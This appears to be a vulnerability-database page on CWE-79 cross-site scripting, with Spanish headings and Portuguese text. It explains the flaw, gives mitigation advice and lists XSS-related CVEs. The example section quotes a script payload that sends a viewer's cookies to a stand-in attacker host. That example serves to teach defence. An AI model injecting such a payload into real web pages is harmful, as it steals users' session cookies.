Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-10260HIGHTripetto <= 8.0.11 - Unauthentiated Stored Cross-Site Scripting via Form File UploadEPSS 0.4%CVE-2026-33035MEDIUMUnauthenticated Reflected XSS via innerHTML in AVideoEPSS 0.4%CVE-2024-1810MEDIUMArchivist – Custom Archive Templates <= 1.7.5 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2023-40328MEDIUMWordPress Carrot Plugin <= 1.1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30485HIGHWordPress Avartan Slider Lite Plugin <= 1.5.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-49184MEDIUMWordPress Parallax Slider Block Plugin <= 1.2.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36993MEDIUMPersistent Cross-site Scripting (XSS) in Web BulletinEPSS 0.4%CVE-2026-8884MEDIUMInstant-Quote.co Quotation Page <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.4%CVE-2024-11331MEDIUMisee-products-extractor <= 2.1.3 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-84219HIGHKirki 6.2.1 - 6.2.5 - Unauthenticated Stored XSS via HTML Entity DecodingEPSS 0.4%CVE-2024-8276MEDIUMWPZOOM Portfolio Lite – Filterable Portfolio Plugin <= 1.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via align AttributeEPSS 0.4%CVE-2024-10099MEDIUMStored XSS in comfyanonymous/comfyuiEPSS 0.4%CVE-2024-4643MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.11 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-21046MEDIUMVulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle E-Business Suite (component: LOV). Supported versioEPSS 0.4%CVE-2024-25700MEDIUMPersistent XSS in URL added to a shared mapEPSS 0.4%CVE-2025-26065HIGHA cross-site scripting (XSS) vulnerability in Intelbras RX1500 v2.2.9 and RX3000 v1.0.11 allows attackers to execute arbitrary web scripts oEPSS 0.4%CVE-2023-0258LOWSourceCodester Online Food Ordering System Category List cross site scriptingEPSS 0.4%CVE-2026-0586MEDIUMcode-projects Online Product Reservation System prod.php cross site scriptingEPSS 0.4%CVE-2024-25708MEDIUMPersistent XSS when creating new application using Web App BuilderEPSS 0.4%CVE-2026-6817MEDIUMQuiz Maker by AYS <= 6.7.1.29 - Unauthenticated Stored Cross-Site Scripting via 'rate_reason'EPSS 0.4%